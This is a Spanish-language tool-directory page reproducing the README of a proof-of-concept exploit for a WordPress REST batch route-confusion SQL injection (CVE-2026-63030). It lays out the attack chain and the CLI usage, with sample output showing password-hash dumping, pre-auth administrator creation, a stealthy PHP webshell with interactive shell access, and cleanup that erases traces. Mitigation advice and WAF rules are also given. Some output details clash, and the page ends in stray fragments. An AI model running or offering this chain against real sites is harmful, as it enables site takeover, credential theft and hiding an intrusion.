Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-63030 — CVE-2026-63030 - Prueba de concepto de inyección SQL por confusión de rutas en el REST Batch de WordPress | Kitploit
Herramientas/GitHubGitHub/ch4120n/cve-2026-63030
Escáneres de VulnerabilidadesExplotaciónSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - Prueba de concepto de inyección SQL por confusión de rutas en el REST Batch de WordPress

Ver Repositorio
2hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-63030

Inyección SQL por confusión de rutas en el procesamiento por lotes de la API REST de WordPress (CVE-2026-63030) — Prueba de concepto
Investigación, desarrollo de exploits y documentación por Ch4120N

CVE Python License Status


⚠️ Aviso legal

Este repositorio y la herramienta adjunta (exploit.py) están destinados estrictamente a fines educativos, pruebas de penetración autorizadas e investigación de seguridad.
El uso de este exploit contra objetivos sin consentimiento explícito, previo y por escrito es ilegal y viola las leyes globales contra el fraude y el abuso informático. El autor (Ch4120N) no asume absolutamente ninguna responsabilidad por el mal uso, los daños o las consecuencias legales derivadas del uso de este código. Actúe siempre dentro de los límites de la ley y obtenga la autorización adecuada.


📖 Descripción general de la vulnerabilidad: CVE-2026-63030

CVE-2026-63030 es una vulnerabilidad crítica no autenticada que afecta a la API REST de WordPress. Explota un error de confusión de rutas dentro del endpoint de procesamiento por lotes anidado (/wp-json/batch/v1 o /?rest_route=/batch/v1).

La causa raíz

Cuando WordPress procesa un lote de solicitudes de la API REST, valida cada sub-solicitud contra su esquema específico antes de la ejecución. Sin embargo, debido a una falla en la forma en que el puntero de enrutamiento interno maneja rutas deliberadamente malformadas (p. ej., ///), el esquema de validación se desincroniza del manejador de ejecución real.

La cadena de ataque

  1. Confusión de rutas e inyección SQL: Un atacante inyecta una carga útil de lote anidada. La desincronización hace que una solicitud dirigida al endpoint /wp/v2/users (que no acepta author_exclude) sea ejecutada por el manejador de /wp/v2/posts. El parámetro author_exclude sin sanitizar se pasa directamente a la cláusula author__not_in de WP_Query, lo que resulta en una inyección SQL no autenticada.
  2. Creación de administrador pre-autenticación: La inyección SQL se utiliza para leer la base de datos e identificar los IDs de las entradas oembed_cache. El exploit utiliza entonces una carga útil changeset de Customizer para envenenar la caché del menú de navegación, engañando a WordPress para que ejecute una solicitud de creación de usuario bajo el contexto de un administrador existente.
  3. Ejecución remota de código (RCE): Con una cuenta de administrador recién falsificada, la herramienta se autentica, sube un plugin de webshell PHP aleatorio y protegido por token, ejecuta comandos del sistema operativo y limpia de forma segura todos los rastros.

Versiones afectadas

  • WordPress 6.9.0 hasta 6.9.4
  • WordPress 7.0.0 hasta 7.0.1 (Nota: las versiones anteriores pueden ser vulnerables dependiendo de las configuraciones específicas de los plugins y de los backports de la API REST).

🚀 Características

  • Cero dependencias: 100 % biblioteca estándar de Python 3. No se requiere pip install.
  • Modular en un solo archivo: Todos los componentes (Cliente, SQLi, Exploit, Shell, CLI) están organizados de forma ordenada en un único script portátil (exploit.py).
  • Extracción SQL multitécnica: Recurre automáticamente a los métodos disponibles más rápidos:
    1. Basado en UNION: Extracción in-band forjando una fila WP_Post falsa (1 solicitud por valor).
    2. Basado en errores: Aprovecha los errores XPATH de EXTRACTVALUE() si WP_DEBUG_DISPLAY está habilitado.
    3. Ciego booleano/de temporización: Extracción de caracteres mediante búsqueda binaria con retardos de espera configurables.
  • Puente pre-autenticación automatizado: No necesita credenciales existentes; la herramienta crea su propia cuenta de administrador sobre la marcha.
  • Webshell efímera: Genera un slug de plugin único y un token criptográficamente seguro. El shell se niega a ejecutarse sin el token y se autodestruye después de su uso.
  • Limpieza automática: Elimina automáticamente la cuenta de administrador falsificada y el directorio del plugin webshell al salir.
  • REPL interactivo: Proporciona una pseudo-terminal que mantiene el estado del directorio de trabajo remoto (soporte de cd).

📦 Instalación y requisitos

No se requieren paquetes de terceros. Asegúrese de tener instalado Python 3.8 o superior.

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 Uso detallado y opciones

El exploit se divide en tres subcomandos principales: check, read y shell.

Opciones globales

Estas opciones se aplican a todos los subcomandos:

1. check - Detección de vulnerabilidades

Sondea el objetivo de forma segura para confirmar la presencia de los marcadores de confusión de rutas y prueba la temporización de la inyección SQL sin extraer datos.

2. read - Extracción de la base de datos

Extrae datos directamente de la base de datos mediante la inyección SQL.

3. shell - Ejecución remota de código

Despliega la webshell y ejecuta comandos. Si no se proporcionan credenciales, activa automáticamente el puente de creación de administrador pre-autenticación.


🖥️ Evidencia de ejecución y ejemplos

A continuación se muestran ejemplos reales de la herramienta en acción.

Ejemplo 1: Comprobación de vulnerabilidad

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

Ejemplo 2: Extracción de la huella de la base de datos

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

Ejemplo 3: Volcado de credenciales de usuario

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

Ejemplo 4: Obtención de un shell interactivo (pre-autenticación)

Observe cómo la herramienta crea automáticamente una cuenta de administrador, despliega el shell y limpia todo al salir.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 Análisis técnico en profundidad

El detonante de la desincronización

El núcleo del exploit se basa en inyectar _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Esta URL no válida obliga al enrutamiento interno de WordPress a generar un WP_Error para la primera sub-solicitud. Esto desplaza el puntero interno, haciendo que la segunda sub-solicitud se valide contra un esquema, pero sea ejecutada por el manejador de la tercera sub-solicitud. De este modo, el parámetro author_exclude se cuela en el WP_Query.

Primitiva UNION de post falso

En lugar de una inyección SQL ciega lenta, la herramienta utiliza un UNION SELECT para inyectar una fila wp_posts falsa y completamente formada. Al establecer orderby=none y per_page=500, evita que WP_Query divida la consulta. El post_title inyectado contiene el resultado codificado en hexadecimal de la expresión SQL objetivo, envuelto en delimitadores ||, que se refleja directamente en la respuesta JSON de la API REST.

OpSec de la webshell

El plugin PHP desplegado está diseñado para un alto nivel de sigilo:

  • Directorio y nombre de archivo aleatorios (p. ej., wp_a1b2c3d4.php).
  • Requiere un token hexadecimal de 32 caracteres (t) y un comando (c) mediante parámetros GET.
  • Usa hash_equals() para prevenir ataques de temporización sobre el token.
  • Cambia de directorio automáticamente (chdir) para evitar la divulgación de rutas.
  • La salida se envuelve en marcadores EXPLOIT::...::END para su análisis limpio por el cliente Python.

🛡️ Mitigación y remediación

  1. Actualizar WordPress: Actualice inmediatamente a WordPress 7.0.2 o posterior, que incluye el parche para CVE-2026-63030.
  2. Deshabilitar el endpoint de lotes: Si el endpoint de lotes no es explícitamente necesario, deshabilítelo mediante un plugin de uso obligatorio (mu-plugins):
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Firewall de aplicaciones web (WAF): Implemente reglas para bloquear:
    • Solicitudes /batch/v1 anidadas que contengan author_exclude en la URI.
    • Solicitudes que contengan UNION, SLEEP() o EXTRACTVALUE en los parámetros de URL.
    • Rutas malformadas como /// en solicitudes a la API REST.
  4. Deshabilitar WP_DEBUG_DISPLAY: Asegúrese de que WP_DEBUG_DISPLAY esté establecido en en para evitar la fuga de información por inyección SQL basada en errores.

📜 Créditos y agradecimientos

  • Investigación de vulnerabilidades y desarrollo de exploits: Ch4120N
  • Inspiración del concepto: Confusión de rutas en la API REST de WordPress, envenenamiento de la caché oEmbed y primitivas de changeset de Customizer.

"Un gran poder conlleva una gran responsabilidad. Usa este conocimiento para defender, no para destruir."
— Ch4120N

Descargar herramienta
OpciónDescripciónPor defecto
urlURL base del objetivo (p. ej., http://target.com)Requerido
--rest-routeUsa /?rest_route=/batch/v1 en lugar de /wp-json/batch/v1 (para sitios con permalinks deshabilitados).False
--timeoutTiempo de espera de la solicitud HTTP en segundos.30.0
--proxyProxy HTTP/HTTPS (p. ej., http://127.0.0.1:8080).None
OpciónDescripciónPor defecto
--sleepRetardo de temporización SQL (segundos) utilizado por el mecanismo de respaldo --confirm-sqli.3.0
--samplesNúmero de pares de temporización SQL (de referencia/retardada) a probar.3
--confirm-sqliEnvía una carga útil activa de confirmación de la inyección SQL (añade un ligero retardo).False
OpciónDescripciónPor defecto
--presetPreajustes de extracción rápida: fingerprint (versión/usuario/BD) o users (logins/hashes).fingerprint
--queryEjecuta una expresión SQL escalar personalizada (p. ej., "SELECT @@version").None
--prefixPrefijo de las tablas de la base de datos.wp_
--max-lengthMáximo de caracteres a extraer por valor.128
--techniqueTécnica de extracción: auto, union, error o blind.auto
OpciónDescripciónPor defecto
--userNombre de usuario del administrador. (Omitir para usar el puente pre-autenticación).None
--passwordContraseña del administrador. (Omitir para usar el puente pre-autenticación).None
--cmdComando único para ejecutar en el objetivo.None
-i, --interactiveAbre un shell interactivo (REPL) después del despliegue.False
false
wp-config.php